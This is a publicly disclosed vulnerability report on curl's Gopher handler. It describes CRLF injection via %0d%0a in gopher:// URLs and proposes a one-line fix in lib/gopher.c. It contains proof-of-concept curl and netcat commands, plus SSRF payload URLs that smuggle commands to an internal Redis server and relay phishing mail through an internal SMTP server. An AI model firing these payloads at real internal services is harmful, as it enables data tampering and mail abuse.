HexBrain

curl · Report #3508785

Gopher Protocol Command Injection (SSRF Smuggling)

N/Astatus
highseverity
9upvotes
14 Jan 2026disclosed

How it was found

Summary

The curl Gopher protocol handler is vulnerable to command injection through URL-encoded CRLF sequences in the path. This allows an attacker to "smuggle" additional Gopher selectors or arbitrary commands into a single Gopher request. By using %0d%0a in the URL, an attacker can break the line-delimited Gopher protocol and force curl to send multiple distinct request lines to the server.

Affected Component

  • File: lib/gopher.c
  • Function: gopher_do
  • Line: 101
  • Vulnerable Code: Curl_urldecode call with REJECT_ZERO flag

Vulnerability Details

Root Cause

In lib/gopher.c, the Gopher protocol handler extracts the selector from the URL and decodes it using Curl_urldecode with the REJECT_ZERO flag:

/* lib/gopher.c:101 */
result = Curl_urldecode(newp, 0, &buf_alloc, &buf_len, REJECT_ZERO);

The REJECT_ZERO flag only prevents null bytes (%00) from being decoded. All other control characters, including:

  • Carriage Return (%0d / \r)
  • Line Feed (%0a / \n)

are decoded into the raw buffer buf_alloc and subsequently sent to the server.

Attack Mechanism

The Gopher protocol is line-delimited. After decoding the selector, curl sends it to the server followed by a hardcoded CRLF:

/* lib/gopher.c:110 */
result = Curl_xfer_send(data, buf, buf_len, FALSE, &nwritten);
...
/* lib/gopher.c:156 */
result = Curl_xfer_send(data, "\r\n", 2, FALSE, &nwritten);

If an attacker provides a URL like:

gopher://example.com/1/selector%0d%0aINJECTED_COMMAND

The resulting network transmission will be:

selector\r\n
INJECTED_COMMAND\r\n

A standard Gopher server processes each line independently, so it will see:

  1. A request for selector
  2. A second, attacker-controlled request for INJECTED_COMMAND

Proof of Concept

Step 1: Start a Listener

Open a terminal and start a netcat listener to observe the raw protocol traffic:

nc -l -p 7070

Step 2: Execute the Attack

In another terminal, run curl with the malicious Gopher URL:

curl -v "gopher://localhost:7070/1/first-command%0d%0asecond-command"

Step 3: Observe the Result

In the netcat listener terminal, you will see two distinct lines:

first-command
second-command

This proves that the attacker can inject arbitrary commands into the Gopher protocol stream.

Alternative PoC (Python)

You can also use this Python script to verify:

import socket

# Start a simple Gopher server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('127.0.0.1', 7070))
s.listen(1)
print("Gopher server listening on port 7070...")

conn, addr = s.accept()
data = conn.recv(1024).decode()
print("=== Received Data ===")
print(repr(data))
print("\n=== Parsed Lines ===")
for line in data.split('\r\n'):
    if line:
        print(f"Command: {line}")
conn.close()
s.close()

Run this script, then execute:

curl "gopher://localhost:7070/1/legitimate%0d%0ainjected%0d%0amalicious"

Expected output:

=== Received Data ===
'legitimate\r\ninjected\r\nmalicious\r\n'

=== Parsed Lines ===
Command: legitimate
Command: injected
Command: malicious

Impact

SSRF Enhancement

This vulnerability significantly enhances Server-Side Request Forgery (SSRF) attacks. If a web application allows users to provide a URL that is fetched by curl, an attacker can:

  1. Smuggle commands to internal Gopher servers

    • Send multiple queries in a single request
    • Bypass rate limiting or logging mechanisms
  2. Communicate with other line-delimited internal services

    • Redis (if accessible via Gopher port or through port confusion)
    • SMTP servers
    • Memcached
    • Custom internal protocols
  3. Bypass security controls

    • WAFs that only inspect the URL path
    • Logging systems that record only the initial request

Attack Scenarios

Scenario 1: Redis Command Injection

gopher://internal-redis:6379/1/SET%20key%20value%0d%0aGET%20sensitive_data

Scenario 2: SMTP Relay

gopher://mail-server:25/1/MAIL%20FROM:<[email protected]>%0d%0aRCPT%20TO:<[email protected]>%0d%0aDATA%0d%0aSubject:%20Phishing

Recommendation

Fix

Update lib/gopher.c to use REJECT_CTRL or REJECT_CTRL_ZERO instead of REJECT_ZERO in the Curl_urldecode call:

/* lib/gopher.c:101 - FIXED */
result = Curl_urldecode(newp, 0, &buf_alloc, &buf_len, REJECT_CTRL);

This will prevent the decoding of newlines and other control characters that can be used to manipulate the protocol stream.

Verification

After applying the fix, the PoC should fail with an error indicating that control characters are not allowed in the URL.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original